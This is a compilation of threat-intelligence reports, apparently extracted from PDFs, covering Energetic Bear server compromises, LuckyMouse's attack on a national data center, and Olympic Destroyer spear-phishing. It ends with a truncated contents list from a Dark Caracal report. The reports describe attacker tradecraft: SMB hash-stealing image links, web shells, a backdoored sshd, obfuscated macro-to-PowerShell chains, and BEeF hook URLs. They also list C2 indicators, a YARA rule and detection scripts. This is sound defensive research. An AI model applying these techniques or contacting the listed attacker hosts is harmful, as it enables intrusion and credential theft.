regarding Energetic Bear/Crouching Yeti activity. Even if it is not very clear how active this actor might be at the moment (the alerts basically warned about past incidents), it should be considered a dangerous, active and pragmatic actor very focused on certain industries. We recommend checking our latest analysis on Securelist because the way this actor uses hacked infrastructure can create a lot of collateral victims. To recap, we would like to emphasize just how important networking hardware has become for advanced attackers. We have seen various examples during recent months and VPNFilter should be a wake-up call for those who didn t believe this was an important issue. We will continue to track all the APT activity we can find and will regularly highlight the more interesting findings, but if you want to know more, please reach out to us at intelreports@kasperksy.com. Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT Contents Attack victims ................................................................................................................................................ 3 Waterhole ..................................................................................................................................................... 4 Scanned resources ........................................................................................................................................ 4 Toolset used .................................................................................................................................................. 7 Utilities ...................................................................................................................................................... 7 Malicious php files .................................................................................................................................... 7 Modified sshd .......................................................................................................................................... 12 Activity of the attackers on compromised servers ..................................................................................... 13 Conclusion ................................................................................................................................................... 15 Appendix I Indicators of Compromise...................................................................................................... 15 Filenames and Paths ............................................................................................................................... 15 PHP file hashes ........................................................................................................................................ 16 Yara rules ................................................................................................................................................ 16 Appendix II Shell script to check a server for tools .................................................................................. 17 Shell script for Debian ............................................................................................................................. 17 Shell script for Centos ............................................................................................................................. 17 Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT Energetic Bear/Crouching Yeti is a widely known APT group active since at least 2010. The group tends to attack different companies with a strong focus on the energy and industrial sectors. Companies attacked by Energetic Bear/Crouching Yeti are geographically distributed worldwide with a more obvious concentration in Europe and the US. In 2016-2017, the number of attacks on companies in Turkey increased significantly. The main tactics of the group include sending phishing emails with malicious documents and infecting various servers. The group uses some of the infected servers for auxiliary purposes to host tools and logs. Others are deliberately infected to use them in waterhole attacks in order to reach the group s main targets. Recent activity of the group against US organizations was discussed in a US-CERT advisory, which linked the actor to the Russian government, as well as an advisory by the UK National Cyber Security Centre. This report by Kaspersky Lab ICS CERT presents information on identified servers that have been infected and used by the group. The report also includes the findings of an analysis of several webservers compromised by the Energetic Bear group during 2016 and in early 2017. Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT Attack victims The table below shows the distribution of compromised servers (based on the language of website content and/or the origins of the company renting the server at the time of compromise) by countries, attacked company types and the role of each server in the overall attack scheme. Victims of the threat actor s attacks were not limited to industrial companies. Table 1. Compromised servers Country Russia Description Role in the attack Opposition political website Waterhole Real estate agency Auxiliary (collecting user data in the waterhole attack) Football club Waterhole Developer and integrator of Waterhole secure automation systems and IS consultant Developers of software and Auxiliary (collecting user data in the waterhole equipment attack, tool hosting) Investment website Auxiliary (collecting user data in the waterhole attack) Electric power sector company Waterhole Bank Waterhole Aerospace company Waterhole Germany Software integrator Ukraine developer and Waterhole Unknown Auxiliary (collecting user data in the waterhole attack) Oil and gas sector enterprise Waterhole Industrial group Waterhole Investment group Waterhole Greece Server of a university Auxiliary (collecting user data in the waterhole attack) Oil and gas sector enterprise Waterhole Unknown Affiliate network site Auxiliary (collecting user data in the waterhole attack) Turkey Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT Waterhole All waterhole servers are infected following the same pattern: injecting a link into a web page or JS file with the following file scheme: file://IP/filename.png. Injected link with the file scheme The link is used to initiate a request for an image, as a result of which the user connects to the remote server over the SMB protocol. In this attack type, the attackers' goal is to extract the following data from the session: user IP, user name, domain name, NTLM hash of the user s password. It should be noted that the image requested using the link is not physically located on the remote server. Scanned resources Compromised servers are in some cases used to conduct attacks on other resources. In the process of analyzing infected servers, numerous websites and servers were identified that the attackers had scanned with various tools, such as nmap, dirsearch, sqlmap, etc. (tool descriptions are provided below). Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT Table 2. Resources that were scanned from one of the infected servers Country (based on the content) Russia Description Non-profit organization Sale of drugs Travel/maps Resources based on the Bump platform (platform for corporate social networks) non-profit organization, social network for college/university alumni, communication platform for NGOs, etc. Business photographic studio Industrial enterprise, construction company Door manufacturing Cryptocurrency exchange Construction information and analysis portal Personal website of a developer Vainah Telecom IPs and Subnets (Chechen Republic) Various Chechen resources (governmental organizations, universities, industrial enterprises, etc.) Web server with numerous sites (alumni sites, sites of industrial and engineering companies, etc.) Muslim dating site Brazil Water treatment Turkey Hotels Embassy in Turkey Software developer Airport website City council website Cosmetics manufacturer Religious website Turktelekom subnet with a large number of sites Telnet Telecom subnet with a large number of sites Georgia Personal website of a journalist Kazakhstan Unknown web server Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Ukraine Kaspersky Lab ICS CERT Office supplies online store Floral business Image hosting service Online course on sales Dealer of farming equipment and spare parts Ukrainian civil servant s personal website Online store of parts for household appliance repair Timber sales, construction Tennis club website Online store for farmers Online store of massage equipment Online clothes store Website development and promotion Online air conditioner store Switzerland Analytical company Web server with many domains France Web server with many domains Vietnam Unknown server International Flight tracker The sites and servers on this list do not seem to have anything in common. Even though the scanned servers do not necessarily look like potential final victims, it is likely that the attackers scanned different resources to find a server that could be used to establish a foothold for hosting the attackers tools and, subsequently, to develop the attack. Part of the sites scanned may have been of interest to the attackers as candidates for hosting waterhole resources. In some cases, the domains scanned were hosted on the same server; sometimes the attackers went through the list of possible domains matching a given IP. In most cases, multiple attempts to compromise a specific target were not identified with the possible exception of sites on the Bump platform, flight tracker servers and servers of a Turkish hotel chain. Curiously, the sites scanned included a web developer s website, kashey.ru, and resources links to which were found on this site. These may have been links to resources developed by the site s owner: www.esodedi.ru, www.i-stroy.ru, www.saledoor.ru Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT Toolset used Utilities Utilities found on compromised servers are open-source and publicly available on GitHub: Nmap an open-source utility for analyzing the network and verifying its security. Dirsearch a simple command-line tool for brute forcing (performing exhaustive searches of) directories and files on websites. Sqlmap an open-source penetration testing tool, which automates the process of identifying and exploiting SQL injection vulnerabilities and taking over database servers. Sublist3r a tool written in Python designed to enumerate website subdomains. The tool uses open-source intelligence (OSINT). Sublist3r supports many different search engines, such as Google, Yahoo, Bing, Baidu and Ask, as well as such services as Netcraft, Virustotal, ThreatCrowd, DNSdumpster and ReverseDNS. The tool helps penetration testers to collect information on the subdomains of the domain they are researching. Wpscan a WordPress vulnerability scanner that uses the blackbox principle, i.e., works without access to the source code. It can be used to scan remote WordPress sites in search of security issues. Impacket a toolset for working with various network protocols, which is required by SMBTrap. SMBTrap a tool for logging data received over the SMB protocol (user IP address, user name, domain name, password NTLM hash). Commix a vulnerability search and command injection and exploitation tool written in Python. Subbrute a subdomain enumeration tool available for Python and Windows that uses an open name resolver as a proxy and does not send traffic to the target DNS server. PHPMailer a mail sending tool. In addition, a custom Python script named ftpChecker.py was found on one of the servers. The script was designed to check FTP hosts from an incoming list. Malicious php files The following malicious php files were found in different directories in the nginx folder and in a working directory created by the attackers on an infected web servers: md5sum Time of the latest file change (MSK) Size, bytes wso shell+ mail f3e3e25a822012023c6e81b206711865 2016-07-01 15:57:38 28786 wso shell+ mail f3e3e25a822012023c6e81b206711865 2016-06-12 13:35:30 28786 File name Brief description ini.php mysql.php Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT opts.php wso shell c76470e85b7f3da46539b40e5c552712 2016-06-12 12:23:28 36623 error_log.php wso shell 155385cc19e3092765bcfed034b82ccb 2016-06-12 10:59:39 36636 code29.php web shell 1644af9b6424e8f58f39c7fa5e76de51 2016-06-12 11:10:40 10724 proxy87.php web shell 1644af9b6424e8f58f39c7fa5e76de51 2016-06-12 14:31:13 10724 theme.php wso shell 2292f5db385068e161ae277531b2e114 2017-05-16 17:33:02 133104 sma.php PHPMailer 7ec514bbdc6dd8f606f803d39af8883f 2017-05-19 13:53:53 14696 media.php wso shell 78c31eff38fdb72ea3b1800ea917940f 2017-04-17 15:58:41 1762986 In the table above: Web shell is a script that allows remote administration of the machine. WSO is a popular web shell and file manager (it stands for Web Shell by Orb ) that has the ability to masquerade as an error page containing a hidden login form. It is available on GitHub: https://github.com/wso-shell/WSO Two of the PHP scripts found, ini.php and mysql.php, contained a WSO shell concatenated with the following email spamming script: https://github.com/bediger4000/php-malware-analysis/tree/master/db-config.php Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT All the scripts found are obfuscated. wso shell error_log.php Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT Deobfuscated wso shell error_log.php Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT One of the web shells was found on the server under two different names (proxy87.php and code29.php). It uses the eval function to execute a command sent via HTTP cookies or a POST request: Web shell proxy87.php Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT Deobfuscated web shell proxy87.php Modified sshd A modified sshd with a preinstalled backdoor was found in the process of analyzing the server. Patches with some versions of backdoors for sshd that are similar to the backdoor found are available on GitHub, for example: https://github.com/jivoi/openssh-backdoor-kit Compilation is possible on any OS with binary compatibility. Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT As a result of replacing the original sshd file with a modified one on the infected server, an attacker can use a master password to get authorized on the remote server, while leaving minimal traces (compared to an ordinary user connecting via ssh). In addition, the modified sshd logs all legitimate ssh connections (this does not apply to the connection that uses the master password ), including connection times, account names and passwords. The log is encrypted and is located at /var/tmp/.pipe.sock. Decrypted log at /var/tmp/.pipe.sock Activity of the attackers on compromised servers In addition to using compromised servers to scan numerous resources, other attacker activity was also identified. After gaining access to the server, the attackers installed the tools they needed at different times. Specifically, the following commands for third-party installations were identified on one of the servers: apt install traceroute apt-get install nmap apt-get install screen git clone https://github.com/sqlmapproject/sqlmap.git Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT Additionally, the attackers installed any packages and tools for Python they needed. The diagram below shows times of illegitimate logons to one of the compromised servers during one month. The attackers checked the smbtrap log file on working days. In most cases, they logged on to the server at roughly the same time of day, probably in the morning hours: 19:12:00 18:00:00 16:48:00 15:36:00 14:24:00 13:12:00 12:00:00 10:48:00 9:36:00 05.12.2017 06.12.2017 07.12.2017 08.12.2017 09.12.2017 10.12.2017 11.12.2017 12.12.2017 13.12.2017 14.12.2017 15.12.2017 16.12.2017 17.12.2017 18.12.2017 19.12.2017 20.12.2017 21.12.2017 22.12.2017 23.12.2017 24.12.2017 25.12.2017 26.12.2017 27.12.2017 28.12.2017 29.12.2017 30.12.2017 31.12.2017 01.01.2018 02.01.2018 03.01.2018 04.01.2018 05.01.2018 06.01.2018 07.01.2018 08.01.2018 09.01.2018 10.01.2018 11.01.2018 12.01.2018 13.01.2018 8:24:00 Times of illegitimate connections with the server (GMT+3) In addition, in the process of performing the analysis, an active process was identified that exploited SQL injection and collected data from a database of one of the victims. Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT Conclusion The findings of the analysis of compromised servers and the attackers activity on these servers are as follows: 1. With rare exceptions, the group s members get by with publicly available tools. The use of publicly available utilities by the group to conduct its attacks renders the task of attack attribution without any additional group markers very difficult. 2. Potentially, any vulnerable server on the internet is of interest to the attackers when they want to establish a foothold in order to develop further attacks against target facilities. 3. In most cases that we have observed, the group performed tasks related to searching for vulnerabilities, gaining persistence on various hosts, and stealing authentication data. 4. The diversity of victims may indicate the diversity of the attackers interests. 5. It can be assumed with some degree of certainty that the group operates in the interests of or takes orders from customers that are external to it, performing initial data collection, the theft of authentication data and gaining persistence on resources that are suitable for the attack s further development. Appendix I Indicators of Compromise Filenames and Paths Tools* /usr/lib/libng/ftpChecker.py /usr/bin/nmap/ /usr/lib/libng/dirsearch/ /usr/share/python2.7/dirsearch/ /usr/lib/libng/SMBTrap/ /usr/lib/libng/commix/ /usr/lib/libng/subbrute-master/ /usr/share/python2.7/sqlmap/ /usr/lib/libng/sqlmap-dev/ /usr/lib/libng/wpscan/ /usr/share/python2.7/wpscan/ /usr/share/python2.7/Sublist3r/ *Note that these tools can also be used by other threat actors. Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT PHP files: /usr/share/python2.7/sma.php /usr/share/python2.7/theme.php /root/theme.php /usr/lib/libng/media.php Logs /var/tmp/.pipe.sock PHP file hashes f3e3e25a822012023c6e81b206711865 c76470e85b7f3da46539b40e5c552712 155385cc19e3092765bcfed034b82ccb 1644af9b6424e8f58f39c7fa5e76de51 2292f5db385068e161ae277531b2e114 7ec514bbdc6dd8f606f803d39af8883f 78c31eff38fdb72ea3b1800ea917940f Yara rules rule Backdoored_ssh { strings: $a1 = "OpenSSH" $a2 = "usage: ssh" $a3 = "HISTFILE" condition: uint32(0) == 0x464c457f and filesize<1000000 and all of ($a*) Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT Appendix II Shell script to check a server for tools Shell script for Debian cd /tmp workdir=428c5fcf495396df04a459e317b70ca2 mkdir $workdir cd $workdir find / -type d -iname smbtrap > find-smbtrap.txt 2>/dev/null find / -type d -iname dirsearch > find-dirsearch.txt 2>/dev/null find / -type d -iname nmap > find-nmap.txt 2>/dev/null find / -type d -iname wpscan > find-wpscan.txt 2>/dev/null find / -type d -iname sublist3r > find-sublist3r.txt 2>/dev/null dpkg -l | grep -E \(impacket\|pcapy\|nmap\) > dpkg-grep.txt cp /var/lib/dpkg/info/openssh-server.md5sums . #retrieve initial hash for sshd md5sum /usr/sbin/sshd > sshd.md5sum #calculate actual hash for sshd Shell script for Centos cd /tmp workdir=428c5fcf495396df04a459e317b70ca2 mkdir $workdir cd $workdir find / -type d -iname smbtrap > find-smbtrap.txt 2>/dev/null find / -type d -iname dirsearch > find-dirsearch.txt 2>/dev/null find / -type d -iname nmap > find-nmap.txt 2>/dev/null find / -type d -iname wpscan > find-wpscan.txt 2>/dev/null find / -type d -iname sublist3r > find-sublist3r.txt 2>/dev/null rpm -qa | grep -E \(impacket\|pcapy\|nmap\) > rpm-grep.txt rpm -qa --dump | grep ssh > rpm-qa-dump.txt #retrieve initial hash for sshd sha256sum /usr/sbin/sshd > sshd.sha256sum #calculate actual sha256 hash for sshd md5sum /usr/sbin/sshd > sshd.md5sum #calculate actual md5 hash for sshd Kaspersky Lab, 1997 2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT Kaspersky Lab Industrial Control Systems Cyber Emergency Response Team (Kaspersky Lab ICS CERT) is a global project of Kaspersky Lab aimed at coordinating the work of industrial automation system vendors, owners and operators of industrial facilities and IT security researchers in addressing issues associated with protecting industrial enterprises and critical infrastructure facilities. Kaspersky Lab ICS CERT Ics-cert@kaspersky.com Kaspersky Lab, 1997 2018 LuckyMouse hits national data center to organize countrylevel waterholing campaign securelist.com/luckymouse-hits-national-data-center/86083 By Denis Legezo What happened? In March 2018 we detected an ongoing campaign targeting a national data center in the Central Asia that we believe has been active since autumn 2017. The choice of target made this campaign especially significant it meant the attackers gained access to a wide range of government resources at one fell swoop. We believe this access was abused, for example, by inserting malicious scripts in the country s official websites in order to conduct watering hole attacks. The operators used the HyperBro Trojan as their last-stage in-memory remote administration tool (RAT). The timestamps for these modules are from December 2017 until January 2018. The anti-detection launcher and decompressor make extensive use of Metasploit s shikata_ga_nai encoder as well as LZNT1 compression. Kaspersky Lab products detect the different artifacts used in this campaign with the following verdicts: Trojan.Win32.Generic, Trojan-Downloader.Win32.Upatre and Backdoor.Win32.HyperBro. A full technical report, IoCs and YARA rules are available from our intelligence reporting service (contact us intelligence@kaspersky.com). s behind it? Due to tools and tactics in use we attribute the campaign to LuckyMouse Chinese-speaking actor (also known as EmissaryPanda and APT27). Also the C2 domain update.iaacstudio[.]com was previously used in their campaigns. The tools found in this campaign, such as the HyperBro Trojan, are regularly used by a variety of Chinese-speaking actors. Regarding Metasploit s shikata_ga_nai encoder although it s available for everyone and couldn t be the basis for attribution, we know this encoder has been used by LuckyMouse previously. Government entities, including the Central Asian ones also were a target for this actor before. Due to LuckyMouse s ongoing waterholing of government websites and the corresponding dates, we suspect that one of the aims of this campaign is to access web pages via the data center and inject JavaScripts into them. How did the malware spread? The initial infection vector used in the attack against the data center is unclear. Even when we observed LuckyMouse using weaponized documents with CVE-2017-11882 (Microsoft Office Equation Editor, widely used by Chinese-speaking actors since December 2017), we t prove they were related to this particular attack. It s possible the actor used a waterhole to infect data center employees. The main C2 used in this campaign is bbs.sonypsps[.]com, which resolved to IP-address, that belongs to the Ukrainian ISP network, held by a Mikrotik router using firmware version 6.34.4 (from March 2016) with SMBv1 on board. We suspect this router was hacked as part of the campaign in order to process the malware s HTTP requests. The Sonypsps[.]com domain was last updated using GoDaddy on 2017-05-05 until 2019-03-13. FMikrotik router with two-year-old firmware and SMBv1 on board used in this campaign In March 2017, Wikileaks published details about an exploit affecting Mikrotik called ChimayRed. According to the documentation, however, it doesn t work for firmware versions higher than 6.30. This router uses version 6.34. There were traces of HyperBro in the infected data center from mid-November 2017. Shortly after that different users in the country started being redirected to the malicious domain update.iaacstudio[.]com as a result of the waterholing of government websites. These events suggest that the data center infected with HyperBro and the waterholing campaign are connected. What did the malware do in the data center? Anti-detection stages. Different colors show the three dropped modules: legit app (blue), launcher (green), and decompressor with the Trojan embedded (red) The initial module drops three files that are typical for Chinese-speaking actors: a legit Symantec pcAnywhere (IntgStat.exe) for DLL side loading, a .dll launcher (pcalocalresloader.dll) and the last-stage decompressor (thumb.db). As a result of all these steps, the last-stage Trojan is injected into svchost.exe s process memory. The launcher module, obfuscated with the notorious Metasploit s shikata_ga_nai encoder, is the same for all the droppers. The resulting deobfuscated code performs typical side loading: it patches pcAnywhere s image in memory at its entry point. The patched code jumps back to the decryptor s second shikata_ga_nai iteration, but this time as part of the whitelisted application. This Metasploit s encoder obfuscates the last part of the launcher s code, which in turn resolves the necessary API and maps thumb.db into the same process s (pcAnywhere) memory. The first instructions in the mapped thumb.db are for a new shikata_ga_nai iteration. The decrypted code resolves the necessary API functions, decompresses the embedded PE file with RtlCompressBuffer() using LZNT1 and maps it into memory. What does the resulting watering hole look like? The websites were compromised to redirect visitors to instances of both ScanBox and BEeF. These redirects were implemented by adding two malicious scripts obfuscated by a tool similar to the Dean Edwards packer. Resulting script on the compromised government websites Users were redirected to https://google-updata[.]tk:443/hook.js, a BEeF instance, and https://windows-updata[.]tk:443/scanv1.8/i/?1, an empty ScanBox instance that answered a small piece of JavaScript code. Conclusions LuckyMouse appears to have been very active recently. The TTPs for this campaign are quite common for Chinese-speaking actors, where they typically provide new solid wrappers (launcher and decompressor protected with shikata_ga_nai in this case) around their RATs (HyperBro). The most unusual and interesting point here is the target. A national data center is a valuable source of data that can also be abused to compromise official websites. Another interesting point is the Mikrotik router, which we believe was hacked specifically for the campaign. The reasons for this are not very clear: typically, Chinese-speaking actors don bother disguising their campaigns. Maybe these are the first steps in a new stealthier approach. Some indicators of compromise Droppers 22CBE2B0F1EF3F2B18B4C5AED6D7BB79 0D0320878946A73749111E6C94BF1525 Launcher ac337bd5f6f18b8fe009e45d65a2b09b HyperBro in-memory Trojan 04dece2662f648f619d9c0377a7ba7c0 Domains and IPs bbs.sonypsps[.]com update.iaacstudio[.]com wh0am1.itbaydns[.]com google-updata[.]tk windows-updata[.]tk Olympic Destroyer is still alive securelist.com/olympic-destroyer-is-still-alive/86169/ By GReAT In March 2018 we published our research on Olympic Destroyer, an advanced threat actor that hit organizers, suppliers and partners of the Winter Olympic Games 2018 held in Pyeongchang, South Korea. Olympic Destroyer was a cyber-sabotage attack based on the spread of a destructive network worm. The sabotage stage was preceded by reconnaissance and infiltration into target networks to select the best launchpad for the self-replicating and selfmodifying destructive malware. We have previously emphasized that the story of Olympic Destroyer is different to that of other threat actors because the whole attack was a masterful operation in deception. Despite that, the attackers made serious mistakes, which helped us to spot and prove the forgery of rare attribution artefacts. The attackers behind Olympic Destroyer forged automatically generated signatures, known as Rich Header, to make it look like the malware was produced by Lazarus APT, an actor widely believed to be associated with North Korea. If this is new to the reader, we recommend a separate blog dedicated to the analysis of this forgery. The deceptive behavior of Olympic Destroyer, and its excessive use of various false flags, which tricked many researchers in the infosecurity industry, got our attention. Based on malware similarity, the Olympic Destroyer malware was linked by other researchers to three Chinese speaking APT actors and the allegedly North Korean Lazarus APT; some code had hints of the EternalRomance exploit, while other code was similar to the Netya (Expetr/NotPetya) and BadRabbit targeted ransomware. Kaspersky Lab managed to find lateral movement tools and initial infection backdoors, and has followed the infrastructure used to control Olympic Destroyer in one of its South Korean victims. Some of the TTPs and operational security used by Olympic Destroyer bear a certain resemblance to Sofacy APT group activity. When it comes to false flags, mimicking TTPs is much harder than tampering with technical artefacts. It implies a deep knowledge of how the actor being mimicked operates as well as operational adaptation to these new TTPs. However, it is important to remember that Olympic Destroyer can be considered a master in the use of false flags: for now we assess that connection with low to moderate confidence. We decided to keep tracking the group and set our virtual nets to catch Olympic Destroyer again if it showed up with a similar arsenal. To our surprise it has recently resurfaced with new activity. In May-June 2018 we discovered new spear-phishing documents that closely resembled weaponized documents used by Olympic Destroyer in the past. This and other TTPs led us to believe that we were looking at the same actor again. However, this time the attacker has new targets. According to our telemetry and the characteristics of the analyzed spear-phishing documents, we believe the attackers behind Olympic Destroyer are now targeting financial 1/14 organizations in Russia, and biological and chemical threat prevention laboratories in Europe and Ukraine. They continue to use a non-binary executable infection vector and obfuscated scripts to evade detection. Simplified infection procedure Infection Analysis In reality the infection procedure is a bit more complex and relies on multiple different technologies, mixing VBA code, Powershell, MS HTA, with JScript inside and more Powershell. Let s take a look at this more closely to let incident responders and security researchers recognize such an attack at any time in the future. One of the recent documents that we discovered had the following properties: MD5: 0e7b32d23fbd6d62a593c234bafa2311 SHA1: ff59cb2b4a198d1e6438e020bb11602bd7d2510d File Type: Microsoft Office Word Last saved date: 2018-05-14 15:32:17 (GMT) Known file name: Spiez CONVERGENCE.doc The embedded macro is heavily obfuscated. It has a randomly-generated variable and function name. Obfuscated VBA macro 2/14 Its purpose is to execute a Powershell command. This VBA code was obfuscated with the same technique used in the original Olympic Destroyer spear-phishing campaign. It starts a new obfuscated Powershell scriptlet via the command line. The obfuscator is using array-based rearranging to mutate original code, and protects all commands and strings such as the command and control (C2) server address. There is one known obfuscation tool used to produce such an effect: Invoke-Obfuscation. Obfuscated commandline Powershell scriptlet This script disables Powershell script logging to avoid leaving traces: It has an inline implementation of the RC4 routine in Powershell, which is used to decrypt additional payload downloaded from Microsoft OneDrive. The decryption relies on a hardcoded 32-byte ASCII hexadecimal alphabet key. This is a familiar technique used in other Olympic Destroyer spear-phishing documents in the past and in Powershell backdoors found in the infrastructure of Olympic Destroyer s victims located in Pyeongchang. 3/14 [/caption] The second stage payload downloaded is an HTA file that also executes a Powershell script. Downloaded access.log.txt This file has a similar structure to the Powershell script executed by the macro in spearphishing attachments. After deobfuscating it, we can see that this script also disables Powershell logging and downloads the next stage payload from the same server address. It also uses RC4 with a pre-defined key: 4/14 The final payload is the Powershell Empire agent. Below we partially provide the http stager scriptlet for the downloaded Empire agent. Powershell Empire is a post-exploitation free and open-source framework written in Python and Powershell that allows fileless control of the compromised hosts, has modular architecture and relies on encrypted communication. This framework is widely used by penetration-testing companies in legitimate security tests for lateral movement and information gathering. Infrastructure We believe that the attackers used compromised legitimate web servers for hosting and controlling malware. Based on our analysis, the URI path of discovered C2 servers included the following paths: /components/com_tags/views /components/com_tags/views/admin /components/com_tags/controllers /components/com_finder/helpers /components/com_finder/views/ /components/com_j2xml/ /components/com_contact/controllers/ 5/14 These are known directory structures used by a popular open source content management system, Joomla: Joomla components path on Github Unfortunately we don t know what exact vulnerability was exploited in the Joomla CMS. What is known is that one of the payload hosting servers used Joomla v1.7.3, which is an extremely old version of this software, released in November 2011. A compromised server using Joomla Victims and Targets Based on several target profiles and limited victim reports, we believe that the recent operation by Olympic Destroyer targets Russia, Ukraine and several other European countries. According to our telemetry, several victims are entities from the financial sector in Russia. In addition, almost all the samples we found were uploaded to a multi-scanner service from European countries such as the Netherlands, Germany and France, as well as from Ukraine and Russia. 6/14 Location of targets in recent Olympic Destroyer attacks Since our visibility is limited, we can only speculate about the potential targets based on the profiles suggested by the content of selected decoy documents, email subjects or even file names picked by the attackers. One such decoy document grabbed our attention. It referred to Spiez Convergence , a biochemical threat research conference held in Switzerland, organized by SPIEZ LABORATORY, which not long ago was involved in the Salisbury attack investigation. 7/14 Decoy document using Spiez Convergence topic Another decoy document observed in the attacks ( Investigation_file.doc ) references the nerve agent used to poison Sergey Skripal and his daughter in Salisbury: 8/14 Some other spear-phishing documents include words in the Russian and German language in their names: 9bc365a16c63f25dfddcbe11da042974 Korporativ.doc da93e6651c5ba3e3e96f4ae2dd763d94 Korporativ_2018.doc e2e102291d259f054625cc85318b7ef5 E-Mail-Adressliste_2018.doc 9/14 One of the documents included a lure image with perfect Russian language in it. A message in Russian encouraging the user to enable macro (54b06b05b6b92a8f2ff02fdf47baad0e) One of the most recent weaponized documents was uploaded to a malware scanning service from Ukraine in a file named nakaz.zip , containing nakaz.doc (translated as order.doc from Ukrainian). Another lure message to encourage the user to enable macro According to metadata, the document was edited on June 14th. The Cyrillic messages inside this and previous documents are in perfect Russian, suggesting that it was probably prepared with the help of a native speaker and not automated translation software. Once the user enables macro, a decoy document is displayed, taken very recently from a Ukrainian state organization (the date inside indicates 11 June 2018). The text of the document is identical to the one on the official website of the Ukrainian Ministry of Health. 10/14 Decoy document inside nakaz.doc Further analysis of other related files suggest that the target of this document is working in the biological and epizootic threat prevention field. Attribution Although not comprehensive, the following findings can serve as a hint to those looking for a better connection between this campaign and previous Olympic Destroyer activity. More information on overlaps and reliable tracking of Olympic Destroyer attacks is available to subscribers of Kaspersky Intelligence Reporting Services (see below). 11/14 Similar obfuscated macro structure The documents above show apparent structural similarity as if they were produced by the same tool and obfuscator. The highlighted function name in the new wave of attacks isn t in fact new. While being uncommon, a function named MultiPage1_Layout was also found in the Olympic Destroyer spear phishing document (MD5: 5ba7ec869c7157efc1e52f5157705867). Same MultiPage1_Layout function name used in older campaign Conclusions Despite initial expectations for it to stay low or even disappear, Olympic Destroyer has resurfaced with new attacks in Europe, Russia and Ukraine. In late 2017, a similar reconnaissance stage preceded a larger cyber-sabotage stage meant to destroy and paralyze infrastructure of the Winter Olympic Games as well as related supply chains, partners and 12/14 even venues at the event location. It s possible that in this case we have observed a reconnaissance stage that will be followed by a wave of destructive attacks with new motives. That is why it is important for all bio-chemical threat prevention and research companies and organizations in Europe to strengthen their security and run unscheduled security audits. The variety of financial and non-financial targets could indicate that the same malware was used by several groups with different interests i.e. a group primarily interested in financial gain through cybertheft and another group or groups looking for espionage targets. This could also be a result of cyberattack outsourcing, which is not uncommon among nation state actors. On the other hand, the financial targets might be another false flag operation by an actor who has already excelled at this during the Pyeongchang Olympics to redirect researchers attention. Certain conclusions could be made based on motives and the selection of targets in this campaign. However, it is easy to make a mistake when trying to answer the question of who is behind this campaign with only the fragments of the picture that are visible to researchers. The appearance, at the start of this year, of Olympic Destroyer with its sophisticated deception efforts, changed the attribution game forever. We believe that it is no longer possible to draw conclusions based on few attribution vectors discovered during regular investigation. The resistance to and deterrence of threats such as Olympic Destroyer should be based on cooperation between the private sector and governments across national borders. Unfortunately, the current geopolitical situation in the world only boosts the global segmentation of the internet and introduces many obstacles for researchers and investigators. This will encourage APT attackers to continue marching into the protected networks of foreign governments and commercial companies. The best thing we can do as researchers is to keep tracking threats like this. We will keep monitoring Olympic Destroyer and report on new discovered activities of this group. More details about Olympic Destroyer and related activity are available to subscribers of Kaspersky Intelligence Reporting services. Contact: intelreports@kaspersky.com Indicators Of Compromise File Hashes 9bc365a16c63f25dfddcbe11da042974 Korporativ .doc da93e6651c5ba3e3e96f4ae2dd763d94 Korporativ_2018.doc 6ccd8133f250d4babefbd66b898739b9 corporativ_2018.doc abe771f280cdea6e7eaf19a26b1a9488 Scan-2018-03-13.doc.bin b60da65b8d3627a89481efb23d59713a Corporativ_2018.doc b94bdb63f0703d32c20f4b2e5500dbbe bb5e8733a940fedfb1ef6b0e0ec3635c recommandation.doc 97ddc336d7d92b7db17d098ec2ee6092 recommandation.doc 1d0cf431e623b21aeae8f2b8414d2a73 Investigation_file.doc 13/14 0e7b32d23fbd6d62a593c234bafa2311 Spiez CONVERGENCE.doc e2e102291d259f054625cc85318b7ef5 E-Mail-Adressliste_2018.doc 0c6ddc3a722b865cc2d1185e27cef9b8 54b06b05b6b92a8f2ff02fdf47baad0e 4247901eca6d87f5f3af7df8249ea825 nakaz.doc Domains and IPs 79.142.76[.]40:80/news.php 79.142.76[.]40:8989/login/process.php 79.142.76[.]40:8989/admin/get.php 159.148.186[.]116:80/admin/get.php 159.148.186[.]116:80/login/process.php 159.148.186[.]116:80/news.php ****.****.edu[.]br/components/com_finder/helpers/access.log ****.****.edu[.]br/components/com_finder/views/default.php narpaninew.linuxuatwebspiders[.]com/components/com_j2xml/error.log narpaninew.linuxuatwebspiders[.]com/components/com_contact/controllers/main.php mysent[.]org/access.log.txt mysent[.]org/modules/admin.php 5.133.12[.]224:333/admin/get.php 14/14 SECURITY RESEARCH REPORT Dark Caracal Cyber-espionage at a Global Scale Contents Executive Summary Key Findings Pallas Dark Caracal s Custom Android Samples Timeline C2 Communications with Malware Implants Previous Use of FinFisher Spyware 